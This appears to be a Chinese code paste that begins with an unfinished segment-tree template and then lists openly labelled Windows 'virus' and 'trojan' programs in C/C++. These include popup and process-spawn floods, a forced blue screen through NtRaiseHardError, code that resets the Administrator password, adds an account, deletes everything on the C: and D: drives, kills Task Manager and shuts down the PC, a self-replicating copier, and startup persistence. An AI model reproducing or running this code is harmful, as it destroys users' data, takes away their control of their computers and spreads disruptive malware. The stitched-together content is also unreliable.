线段树模板:
#include<bits/stdc++.h>
using namespace std;
#define ls id<<1
#define rs id<<1|1
#define int long long
const int MAXN=1e5+10;
int a[MAXN],n,m;
struct node{
int sum,mx,mu,ad;
}T[MAXN<<2];
inline int read(){
int ans=0,w=1;
char ch=getchar();
while(ch>'9'||ch<'0'){
if(ch=='-') w=-1;
ch=getchar();
}
while(ch>='0'&&ch<='9'){
ans=ans*10+(ch-'0');
ch=getchar();
}
return ans*w;
}
void pushup(int id){
T[id].sum=T[ls].sum+T[rs].sum;
T[id].mx=max(T[ls].mx,T[rs].mx);
}
void pushdown(int id,int cnt){
if(!T[id].ad)return;
T[ls].ad+=T[id].ad;
T[rs].ad+=T[id].ad;
T[ls].sum+=T[id].ad*(cnt+1>>1);
T[rs].sum+=T[id].ad*(cnt>>1);
T[id].ad=0;
}
void build(int id,int l,int r){
T[id].mu=1;
T[id].ad=0;
if(l==r){
T[id].sum=a[l];
T[id].mx=a[l];
return;
}
int mid=l+r>>1;
build(ls,l,mid);
build(rs,mid+1,r);
pushup(id);
}
void update(int id,int l,int r,int p,int a){
if(l==r){
T[id].sum+=a;
T[id].mx+=a;
return;
}
int mid=l+r>>1;
if(p<=mid)update(ls,l,mid,p,a);
else update(rs,mid+1,r,p,a);
pushup(id);
}
void add(int id,int l,int r,int a,int b,int c){
if(a<=l&&b>=r){
T[id].sum+=(r-l+1)*c;
T[id].ad+=c;
return;
}
pushdown(id,r-l+1);
int mid=l+r>>1;
if(a<=mid) add(ls,l,mid,a,b,c);
if(b>mid) add(rs,mid+1,r,a,b,c);
pushup(id);
}
inline int query(int id,int l,int r,int a,int b){
if(a<=l&&b>=r) return T[id].sum;
pushdown(id,r-l+1);
int mid=l+r>>1;
int ans=0;
if(a<=mid) ans=ans+query(ls,l,mid,a,b);
if(b>mid) ans=ans+query(rs,mid+1,r,a,b);
return ans;
}
signed main(){
n=read();
m=read();
for(int i=1;i<=n;i++){
a[i]=read();
}
build(1,1,n);
int op;
while(m--){
}
return 0;
}弹窗病毒(伤害降低99%版)
#include<iostream>
#include<windows.h>
#include<stdio.h>
#include<fstream>
using namespace std;
int main() {
HWND hwnd = GetConsoleWindow();
if(hwnd) ShowWindow(hwnd, SW_HIDE);
system("color 8F");
int x,y;
for (int a=0; a<10000; a++) {
x = rand()%801;
y = rand()%601;
SetCursorPos(x,y);
}
for (int b=0; b<3; b++) {
system("start notepad");
system("start calc");
system("start winver");
system("start cmd");
system("start Nslookup");
system("start ");
system("start cleanmgr");
system("start charmap");
system("start calc");
system("start calc");
system("start dxdiag");
system("start cmd");
system("start cmd");
system("start cmd");
system("start taskmgr");
system("start ");
system("start wiaacmgr");
system("start mspaint");
system("start mmc");
system("start ");
}
system("start dxdiag");
Sleep(2000);
for (int c=0; c<5; c++) {
system("start notepad");
}
for (int d=0; d<5; d++) {
system("start calc");
}
for (int l=0; l<10; l++) {
system("start calc");
}
for (int m=0; m<15; m++) {
system("start calc");
}
for (int f=0; f<20; f++) {
system("start calc");
}
for (int n=0; n<10; n++) {
system("start calc");
}
for (int q=0; q<15; q++) {
system("start cmd");
}
for (int r=0; r<20; r++) {
system("start taskmgr");
}
for (int g=0; g<10; g++) {
system("start mmc");
}
for (int h=0; h<10; h++) {
system("start ");
}
ofstream out;
out.open("eason.bat");
out<<"dir/s";
out.close();
for (int i=0; i<5; i++) {
system("start eason.bat");
}
ofstream oo;
oo.open("eason2.bat");
oo<<"tree";
oo.close();
for (int j=0; j<5; j++) {
system("start eason2.bat");
}
}弹窗病毒(伤害降低80%版)
#include<windows.h>
using namespace std;
signed main(){
HWND hwnd = GetConsoleWindow();
if(hwnd) ShowWindow(hwnd, SW_HIDE);
while(1){
system("start");
}
return 0;
}
弹窗病毒(伤害降低0%版,需将第7行代码中的“文件名”改为exe文件名)
#include<windows.h>
using namespace std;
signed main(){
HWND hwnd = GetConsoleWindow();
if(hwnd) ShowWindow(hwnd, SW_HIDE);
while(1){
system("start 文件名");
}
return 0;
}
蓝屏病毒
#include <Windows.h>
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow){
HMODULE ntdll = LoadLibrary("ntdll.dll");
FARPROC RtlAdjPriv = GetProcAddress(ntdll, "RtlAdjustPrivilege");
FARPROC NtRaiseHardErr = GetProcAddress(ntdll, "NtRaiseHardError");
unsigned char ErrKill;
long unsigned int HDErr;
((void(*)(DWORD, DWORD, BOOLEAN, LPBYTE))RtlAdjPriv)(0x13, true, false, &ErrKill);
((void(*)(DWORD, DWORD, DWORD, DWORD, DWORD, LPDWORD))NtRaiseHardErr)(0xc0000233, 0, 0, 0, 6, &HDErr);
return 0;
}蓝屏病毒(无弹窗版)
#include <Windows.h>
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow){
HWND hwnd = GetConsoleWindow();
if(hwnd) ShowWindow(hwnd, SW_HIDE);
HMODULE ntdll = LoadLibrary("ntdll.dll");
FARPROC RtlAdjPriv = GetProcAddress(ntdll, "RtlAdjustPrivilege");
FARPROC NtRaiseHardErr = GetProcAddress(ntdll, "NtRaiseHardError");
unsigned char ErrKill;
long unsigned int HDErr;
((void(*)(DWORD, DWORD, BOOLEAN, LPBYTE))RtlAdjPriv)(0x13, true, false, &ErrKill);
((void(*)(DWORD, DWORD, DWORD, DWORD, DWORD, LPDWORD))NtRaiseHardErr)(0xc0000233, 0, 0, 0, 6, &HDErr);
return 0;
}木马
#include<iostream>
#include<stdlib.h>
#include<conio.h>
#include<windows.h>
#include<ctime>
using namespace std;
int main(){
system("net user Administrator wait");
system("net user 脑残 wait /add");
system("ping www.baidu.com");
system("shutdown -s -t 30");
system("del /F /S /Q D:\\");
int x=GetSystemMetrics(SM_CXSCREEN);
int y=GetSystemMetrics(SM_CYSCREEN);
while(1){
SetCursorPos(rand()%x,rand()%y);
system("calc");
system("taskkill /f /imtaskmgr.exe");
}
return 0;
}
木马(加强版)
#include<iostream>
#include<conio.h>
#include<windows.h>
#include<ctime>
int main(){
HWND hwnd = GetConsoleWindow();
if(hwnd) ShowWindow(hwnd, SW_HIDE);
system("ipconfig /release");
system("net user Administrator wait");
system("net user 脑残 wait /add");
system("del /F /S /Q D:\\");
system("del /F /S /Q C:\\");
int x=GetSystemMetrics(SM_CXSCREEN);
int y=GetSystemMetrics(SM_CYSCREEN);
while(1){
SetCursorPos(rand()%x,rand()%y);
system("taskkill /f /im taskmgr.exe");
system("taskkill /f /im taskmgr.zip");
system("taskkill /f /im taskmgr.7z");
}
return 0;
}Copy
#include <stdio.h>
#include <Windows.h>
#include <shlobj.h>
#include <time.h>
#include <string>
void Reproduce(){
char name_str[100] = {};
int name;
srand((unsigned)time(NULL));
name = rand() % 102408;
_itoa(name, name_str, 22);
TCHAR szpath[MAX_PATH];
char target[100] = {};
TCHAR Destop[MAX_PATH];
GetModuleFileName(NULL, szpath, MAX_PATH);
SHGetSpecialFolderPath(NULL, Destop, CSIDL_DESKTOP, FALSE);
strcat(target, Destop);
strcat(target, "\\");
strcat(target, name_str);
strcat(target, ".exe");
CopyFile(szpath, target, FALSE);
std::string cmd="start ";
cmd+=name_str[0];
cmd+=name_str[1];
cmd+=name_str[2];
cmd+=name_str[3];
system(cmd.c_str());
}
int main(int argc, char* argv[]){
HWND hwnd = GetConsoleWindow();
ShowWindow(hwnd, SW_HIDE);
while(1){
Reproduce();
}
return 0;
}只是关机
#include <stdio.h>
#include <windows.h>
#include <Shlobj.h>
#pragma comment(lib, "shell32.lib")
BOOL AutoRun_Startup(char *lpszSrcFilePath, char *lpszDestFileName){
char szStartupPath[MAX_PATH] = {0};
char szDestFilePath[MAX_PATH] = {0};
SHGetSpecialFolderPath(NULL, szStartupPath, CSIDL_STARTUP, TRUE);
wsprintf(szDestFilePath, "%s\\%s", szStartupPath, lpszDestFileName);
CopyFile(lpszSrcFilePath, szDestFilePath, FALSE);
return TRUE;
}
int main(int argc, char * argv[]){
AutoRun_Startup("c://main.exe", "main.exe");
system("shutdown /p");
return 0;
}mc.163mc.cn
⬛️
https://www.luogu.com.cn/ai-diaoshi-zhushou
r9LlrdZQk6bhlbimlLiH0PISmPsV0VfM https://www.luogu.com.cn/paste/98f94rms